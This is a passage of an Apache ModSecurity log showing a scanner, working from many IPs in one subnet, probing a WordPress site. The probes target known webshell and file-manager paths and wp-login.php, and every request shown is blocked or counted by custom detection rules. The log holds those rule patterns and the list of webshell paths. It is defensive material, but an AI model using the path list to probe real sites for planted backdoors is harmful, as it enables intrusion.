[Sun Nov 23 16:40:43.937624 2025] [:error] [pid 38739:tid 38776] [client 140.99.1.48:54999] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLIiwdvEgJm2n2cDmodpwAAAEc"]
[Sun Nov 23 16:40:44.603343 2025] [:error] [pid 38740:tid 38801] [client 140.99.1.27:36347] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLIjA13QPZSi6O8umWJ3wAAAIU"]
[Sun Nov 23 16:40:45.702252 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.69:49293] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLIjQdvEgJm2n2cDmodwwAAAE8"]
[Sun Nov 23 16:40:46.378525 2025] [:error] [pid 38740:tid 38819] [client 140.99.1.27:49717] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLIjg13QPZSi6O8umWKCgAAAJc"]
[Sun Nov 23 16:40:47.583596 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.43:45615] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLIjx-I77jdD81pU-mNHgAAAVM"]
[Sun Nov 23 16:40:48.047210 2025] [:error] [pid 38824:tid 38833] [client 140.99.1.17:45307] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLIkE8WZjXLvbHTHPep5AAAAMY"]
[Sun Nov 23 16:40:48.322599 2025] [:error] [pid 44652:tid 44716] [client 140.99.1.20:40775] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSLIkNiQFwsyXQDhwyCi3gAAAQo"]
[Sun Nov 23 16:40:48.593473 2025] [:error] [pid 38824:tid 38851] [client 140.99.1.76:34871] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSLIkE8WZjXLvbHTHPep7gAAANg"]
[Sun Nov 23 16:40:48.870277 2025] [:error] [pid 38739:tid 38791] [client 140.99.1.44:34829] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSLIkAdvEgJm2n2cDmod8gAAAFY"]
[Sun Nov 23 16:40:49.116031 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.76:36649] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSLIkQytc6TL9XavPmPujAAAAAs"]
[Sun Nov 23 16:40:49.485284 2025] [:error] [pid 38824:tid 38843] [client 140.99.1.77:56755] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSLIkU8WZjXLvbHTHPeqBgAAANA"]
[Sun Nov 23 16:40:50.007049 2025] [:error] [pid 38738:tid 38755] [client 140.99.1.27:38781] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aSLIkgytc6TL9XavPmPuqwAAAA0"]
[Sun Nov 23 16:40:50.399478 2025] [:error] [pid 38739:tid 38782] [client 140.99.1.28:39585] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSLIkgdvEgJm2n2cDmoeCQAAAE0"]
[Sun Nov 23 16:40:50.753504 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.17:29179] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSLIktiQFwsyXQDhwyCjAAAAAQ4"]
[Sun Nov 23 16:40:52.238008 2025] [:error] [pid 38740:tid 38801] [client 140.99.1.11:58677] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSLIlA13QPZSi6O8umWKdQAAAIU"]
[Sun Nov 23 16:40:53.421161 2025] [:error] [pid 38740:tid 38799] [client 140.99.1.68:54801] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSLIlQ13QPZSi6O8umWKlwAAAIM"]
[Sun Nov 23 16:40:53.836121 2025] [:error] [pid 38739:tid 38789] [client 140.99.1.16:60973] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSLIlQdvEgJm2n2cDmoeOAAAAFQ"]
[Sun Nov 23 16:40:55.670901 2025] [:error] [pid 38824:tid 38841] [client 140.99.1.48:24887] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSLIl08WZjXLvbHTHPeqaQAAAM4"]
[Sun Nov 23 16:40:56.159908 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.15:35607] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSLImB-I77jdD81pU-mN5gAAAVM"]
[Sun Nov 23 16:40:56.934054 2025] [:error] [pid 44652:tid 44708] [client 140.99.1.18:37031] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSLImNiQFwsyXQDhwyCjZQAAAQI"]
[Sun Nov 23 16:40:57.244755 2025] [:error] [pid 14602:tid 14641] [client 140.99.1.24:46733] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSLImR-I77jdD81pU-mOAgAAAVQ"]
[Sun Nov 23 16:40:57.553172 2025] [:error] [pid 38738:tid 38746] [client 140.99.1.33:53285] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSLImQytc6TL9XavPmPvZwAAAAQ"]
[Sun Nov 23 16:40:57.960649 2025] [:error] [pid 14602:tid 14622] [client 140.99.1.26:48377] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSLImR-I77jdD81pU-mOCwAAAUE"]
[Sun Nov 23 16:40:58.384026 2025] [:error] [pid 38740:tid 38797] [client 140.99.1.67:43109] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSLImg13QPZSi6O8umWK8QAAAIE"]
[Sun Nov 23 16:40:59.170644 2025] [:error] [pid 14602:tid 14631] [client 140.99.1.24:25481] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSLImx-I77jdD81pU-mOLgAAAUo"]
[Sun Nov 23 16:40:59.471520 2025] [:error] [pid 14602:tid 14644] [client 140.99.1.31:57307] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSLImx-I77jdD81pU-mOOwAAAVc"]
[Sun Nov 23 16:40:59.657456 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.77:40265] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSLImw13QPZSi6O8umWLBwAAAIg"]
[Sun Nov 23 16:41:01.471284 2025] [:error] [pid 38739:tid 38776] [client 140.99.1.3:51543] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSLInQdvEgJm2n2cDmoe3QAAAEc"]
[Sun Nov 23 16:41:01.971349 2025] [:error] [pid 38824:tid 38850] [client 140.99.1.43:63619] [client 140.99.1.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.43, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSLInU8WZjXLvbHTHPeq1gAAANc"]
[Sun Nov 23 16:41:03.000763 2025] [:error] [pid 38824:tid 38836] [client 140.99.1.43:63619] [client 140.99.1.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aSLInk8WZjXLvbHTHPeq-AAAAMk"]
[Sun Nov 23 16:41:03.858936 2025] [:error] [pid 38738:tid 38766] [client 140.99.1.77:27511] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSLInwytc6TL9XavPmPv1QAAABg"]
[Sun Nov 23 16:41:04.301942 2025] [:error] [pid 14602:tid 14643] [client 140.99.1.71:49497] [client 140.99.1.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.71, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSLIoB-I77jdD81pU-mOowAAAVY"]
[Sun Nov 23 16:41:04.541201 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.71:49497] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSLIoB-I77jdD81pU-mOrAAAAVM"]
[Sun Nov 23 16:41:05.724825 2025] [:error] [pid 38739:tid 38789] [client 140.99.1.14:25977] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSLIoQdvEgJm2n2cDmofaQAAAFQ"]
[Sun Nov 23 16:41:07.048112 2025] [:error] [pid 38739:tid 38770] [client 140.99.1.33:57403] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSLIowdvEgJm2n2cDmofjgAAAEE"]
[Sun Nov 23 16:41:08.025037 2025] [:error] [pid 38824:tid 38829] [client 140.99.1.37:20157] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSLIpE8WZjXLvbHTHPeraAAAAMI"]
[Sun Nov 23 16:41:08.686644 2025] [:error] [pid 38738:tid 38758] [client 140.99.1.71:58899] [client 140.99.1.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.71, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSLIpAytc6TL9XavPmPwRgAAABA"]
[Sun Nov 23 16:41:08.782690 2025] [:error] [pid 38738:tid 38746] [client 140.99.1.71:58899] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSLIpAytc6TL9XavPmPwSAAAAAQ"]
[Sun Nov 23 16:41:15.980625 2025] [:error] [pid 38824:tid 38841] [client 140.99.1.38:24319] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSLIq08WZjXLvbHTHPer_gAAAM4"]
[Sun Nov 23 16:41:17.012062 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.6:42541] [client 140.99.1.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.6, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSLIrQ13QPZSi6O8umWMqAAAAIg"]
[Sun Nov 23 16:41:17.666866 2025] [:error] [pid 38740:tid 38817] [client 140.99.1.6:42541] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSLIrQ13QPZSi6O8umWMtQAAAJU"]
[Sun Nov 23 16:41:18.072428 2025] [:error] [pid 38738:tid 38751] [client 140.99.1.11:62959] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSLIrgytc6TL9XavPmPw2gAAAAk"]
[Sun Nov 23 16:41:18.976323 2025] [:error] [pid 38738:tid 38743] [client 140.99.1.3:24265] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSLIrgytc6TL9XavPmPw6AAAAAE"]
[Sun Nov 23 16:41:19.823391 2025] [:error] [pid 38824:tid 38834] [client 140.99.1.6:38107] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSLIr08WZjXLvbHTHPesXQAAAMc"]
[Sun Nov 23 16:41:20.049865 2025] [:error] [pid 38739:tid 38787] [client 140.99.1.10:56329] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSLIsAdvEgJm2n2cDmoglQAAAFI"]
[Sun Nov 23 16:41:25.350912 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.74:60273] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSLItdiQFwsyXQDhwyCmXQAAARU"]
[Sun Nov 23 16:41:25.714304 2025] [:error] [pid 14602:tid 14632] [client 140.99.1.14:36677] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSLItR-I77jdD81pU-mQXAAAAUs"]
[Sun Nov 23 16:41:27.154992 2025] [:error] [pid 14602:tid 14629] [client 140.99.1.18:60275] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSLItx-I77jdD81pU-mQlgAAAUg"]
[Sun Nov 23 16:41:27.882884 2025] [:error] [pid 38824:tid 38832] [client 140.99.1.73:42675] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSLIt08WZjXLvbHTHPetAQAAAMU"]
[Sun Nov 23 16:41:28.492909 2025] [:error] [pid 38824:tid 38841] [client 140.99.1.65:20519] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSLIuE8WZjXLvbHTHPetEQAAAM4"]
